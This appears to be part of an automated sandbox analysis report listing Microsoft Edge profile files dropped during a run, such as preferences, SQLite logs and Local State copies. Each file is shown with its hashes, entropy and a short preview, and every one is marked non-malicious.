Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.45823396627634105
Encrypted:	false
SSDEEP:	48:V/ElonnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnE/yjyjyjyjyjb:V/ElqaHH5Dm+oH
MD5:	E00BA1332776BFCD955D8B5A19EF6956
SHA1:	F275ADFE0DD678C86FD3487D7A2F0119880DA44E
SHA-256:	8CDF5E1A7095790662B79BB2AD0CE727E2FCB605056450F3750B8A7B411AE522
SHA-512:	CE3B217B479B29AB98895FBE998FD0DFC5B3B8B4296C715F103F42569352D7B7533D1B78F1136FCF2790802C1175F02E44ECDA1A1566C818FAFA8601CE81B948
Malicious:	false
Preview:	..-.....o.................Gl..$\|3.-..............-.....o.................Gl..$\|3.-....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	1944672
Entropy (8bit):	3.729402000659084
Encrypted:	false
SSDEEP:	6144:+KaOgnDMoWK7NXnicyDh/i9TjgkY59uOJmaJ+BeTgJ9oueQ2wzBoHgFmKHErOxKz:x
MD5:	EFD65A9E95D6CC926A98688221C14BD1
SHA1:	C181A74DEA3256B54B59E6528EA3D42134C7FAD5
SHA-256:	1D041D727C5886F20E583A5C505C211769E8B240141CA40F5386135D1384D439
SHA-512:	657C46EFBF0E243E2B8A596BC729EC0C1C28BBBBC904BCCBFD1EF830B69B48E16C53E9B5E6E04B51C20B3249B716C4E8EB24F671F5B2E71144AEDFE78FB843E4
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.025537356307381
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuuuPnillLQplIkmsedhOB:llc8BOuuuuuuuuuuuqllLel8Y
MD5:	C43500AED9358E5ADB962CD03293C58D
SHA1:	967B7632E11C629F8ABE1B35F57DE3783A19ADA4
SHA-256:	D647D5701761D4D88455B4D692566822C6353F9C995E89F451A36E4EF42CD9D0
SHA-512:	A4E7E6E6FE6EBC0211B78C40AE1DBEF0D215A5AF46D648BCB41CFAFA0EE7F8B3C00CFCE7974AE96BFC333B529020A681BEA7F1E1C01E1D15D07CFE2F3BC43A6D
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................o.;...............#38_h.......6.Z..W.F.....t.5.....t.5..........V.e..................f.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.2697874786962196
Encrypted:	false
SSDEEP:	6:7oPm+q2PcNwi23oH+TcwtfrK+IFUt8OoPKZmw+OoPmVkwOcNwi23oH+TcwtfrUed:7GvLZYeb23FUt8O//+Ot54ZYeb3J
MD5:	EC58C0BA30A2CD18B1606B416A1C622E
SHA1:	10D1A88A0146484F5ABBDA72B035F8E846ECEC98
SHA-256:	41FA8E00A0DC93A9FF67AAE7424E9A4B58B9A15C8BA7A08DA44F6E7444284B63
SHA-512:	34C8A04A99C55F05AD6F4B36A1E553788D66169786260B3E0C81CF26EF424C3DE795A3D797AE7E3FED01F19FE46ADC489B5561E8ABB12D88669D5757A806BEFA
Malicious:	false
Preview:	2024/12/19-07:44:29.935 9d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/19-07:44:29.935 9d8 Recovering log #3.2024/12/19-07:44:29.935 9d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.2697874786962196
Encrypted:	false
SSDEEP:	6:7oPm+q2PcNwi23oH+TcwtfrK+IFUt8OoPKZmw+OoPmVkwOcNwi23oH+TcwtfrUed:7GvLZYeb23FUt8O//+Ot54ZYeb3J
MD5:	EC58C0BA30A2CD18B1606B416A1C622E
SHA1:	10D1A88A0146484F5ABBDA72B035F8E846ECEC98
SHA-256:	41FA8E00A0DC93A9FF67AAE7424E9A4B58B9A15C8BA7A08DA44F6E7444284B63
SHA-512:	34C8A04A99C55F05AD6F4B36A1E553788D66169786260B3E0C81CF26EF424C3DE795A3D797AE7E3FED01F19FE46ADC489B5561E8ABB12D88669D5757A806BEFA
Malicious:	false
Preview:	2024/12/19-07:44:29.935 9d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/19-07:44:29.935 9d8 Recovering log #3.2024/12/19-07:44:29.935 9d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.215754874467173
Encrypted:	false
SSDEEP:	6:7oP4N+q2PcNwi23oH+TcwtfrzAdIFUt8OoP4ZZmw+OoP4NVkwOcNwi23oH+TcwtS:7svLZYeb9FUt8Od/+Ov54ZYeb2J
MD5:	BAA7ADE8E69350852CADA6D452AB59C4
SHA1:	C3F77080F74C2317A93B65574F875971C2D9435F
SHA-256:	F7B6F8DCCD2B1771C42E3AFBF2FEE0E46A11BA9BD6FC6FBA79424BA3CA31EB89
SHA-512:	C4B1A7A79069F768D9B4A6E81ADF089B554B5AEA53C3667EB3D822F1DC36CB58D3E5FBE1FF46DF188E53618CB30B329074E1A241A728E260F66678F94609A507
Malicious:	false
Preview:	2024/12/19-07:44:29.928 9d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/19-07:44:29.928 9d8 Recovering log #3.2024/12/19-07:44:29.928 9d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.215754874467173
Encrypted:	false
SSDEEP:	6:7oP4N+q2PcNwi23oH+TcwtfrzAdIFUt8OoP4ZZmw+OoP4NVkwOcNwi23oH+TcwtS:7svLZYeb9FUt8Od/+Ov54ZYeb2J
MD5:	BAA7ADE8E69350852CADA6D452AB59C4
SHA1:	C3F77080F74C2317A93B65574F875971C2D9435F
SHA-256:	F7B6F8DCCD2B1771C42E3AFBF2FEE0E46A11BA9BD6FC6FBA79424BA3CA31EB89
SHA-512:	C4B1A7A79069F768D9B4A6E81ADF089B554B5AEA53C3667EB3D822F1DC36CB58D3E5FBE1FF46DF188E53618CB30B329074E1A241A728E260F66678F94609A507
Malicious:	false
Preview:	2024/12/19-07:44:29.928 9d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/19-07:44:29.928 9d8 Recovering log #3.2024/12/19-07:44:29.928 9d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089557355452842
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMTKKGf4SdtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynHt5b7VLyMV/YoskFoz
MD5:	1A8D1657338F2EA75B1F011944F892BF
SHA1:	CA696B29934C5668C730F13D3E3A20BBF9610A81
SHA-256:	02B46D1918677E600D8CEB296DAD98E32900A1D2033C3F3C8B02B36D81B359E4
SHA-512:	3D5BF57D5C5C03AA6FC43FCD3023619F9190313B973BAC415271BB74E6B2C69FD481C8A4E7AEDD0EC0096F73AC1A6F4EBC2AC5615C258F8FF7989E0514ADE2F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF23445.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089557355452842
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMTKKGf4SdtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynHt5b7VLyMV/YoskFoz
MD5:	1A8D1657338F2EA75B1F011944F892BF
SHA1:	CA696B29934C5668C730F13D3E3A20BBF9610A81
SHA-256:	02B46D1918677E600D8CEB296DAD98E32900A1D2033C3F3C8B02B36D81B359E4
SHA-512:	3D5BF57D5C5C03AA6FC43FCD3023619F9190313B973BAC415271BB74E6B2C69FD481C8A4E7AEDD0EC0096F73AC1A6F4EBC2AC5615C258F8FF7989E0514ADE2F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF234a2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089557355452842
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMTKKGf4SdtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynHt5b7VLyMV/YoskFoz
MD5:	1A8D1657338F2EA75B1F011944F892BF
SHA1:	CA696B29934C5668C730F13D3E3A20BBF9610A81
SHA-256:	02B46D1918677E600D8CEB296DAD98E32900A1D2033C3F3C8B02B36D81B359E4
SHA-512:	3D5BF57D5C5C03AA6FC43FCD3023619F9190313B973BAC415271BB74E6B2C69FD481C8A4E7AEDD0EC0096F73AC1A6F4EBC2AC5615C258F8FF7989E0514ADE2F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF236f4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089557355452842
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMTKKGf4SdtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynHt5b7VLyMV/YoskFoz
MD5:	1A8D1657338F2EA75B1F011944F892BF
SHA1:	CA696B29934C5668C730F13D3E3A20BBF9610A81
SHA-256:	02B46D1918677E600D8CEB296DAD98E32900A1D2033C3F3C8B02B36D81B359E4
SHA-512:	3D5BF57D5C5C03AA6FC43FCD3023619F9190313B973BAC415271BB74E6B2C69FD481C8A4E7AEDD0EC0096F73AC1A6F4EBC2AC5615C258F8FF7989E0514ADE2F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF25d97.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089557355452842
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMTKKGf4SdtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynHt5b7VLyMV/YoskFoz
MD5:	1A8D1657338F2EA75B1F011944F892BF
SHA1:	CA696B29934C5668C730F13D3E3A20BBF9610A81
SHA-256:	02B46D1918677E600D8CEB296DAD98E32900A1D2033C3F3C8B02B36D81B359E4
SHA-512:	3D5BF57D5C5C03AA6FC43FCD3023619F9190313B973BAC415271BB74E6B2C69FD481C8A4E7AEDD0EC0096F73AC1A6F4EBC2AC5615C258F8FF7989E0514ADE2F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF267c8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089557355452842
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMTKKGf4SdtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynHt5b7VLyMV/YoskFoz
MD5:	1A8D1657338F2EA75B1F011944F892BF
SHA1:	CA696B29934C5668C730F13D3E3A20BBF9610A81
SHA-256:	02B46D1918677E600D8CEB296DAD98E32900A1D2033C3F3C8B02B36D81B359E4
SHA-512:	3D5BF57D5C5C03AA6FC43FCD3023619F9190313B973BAC415271BB74E6B2C69FD481C8A4E7AEDD0EC0096F73AC1A6F4EBC2AC5615C258F8FF7989E0514ADE2F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF268d2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089557355452842
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMTKKGf4SdtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynHt5b7VLyMV/YoskFoz
MD5:	1A8D1657338F2EA75B1F011944F892BF
SHA1:	CA696B29934C5668C730F13D3E3A20BBF9610A81
SHA-256:	02B46D1918677E600D8CEB296DAD98E32900A1D2033C3F3C8B02B36D81B359E4
SHA-512:	3D5BF57D5C5C03AA6FC43FCD3023619F9190313B973BAC415271BB74E6B2C69FD481C8A4E7AEDD0EC0096F73AC1A6F4EBC2AC5615C258F8FF7989E0514ADE2F4
Malicious:	false
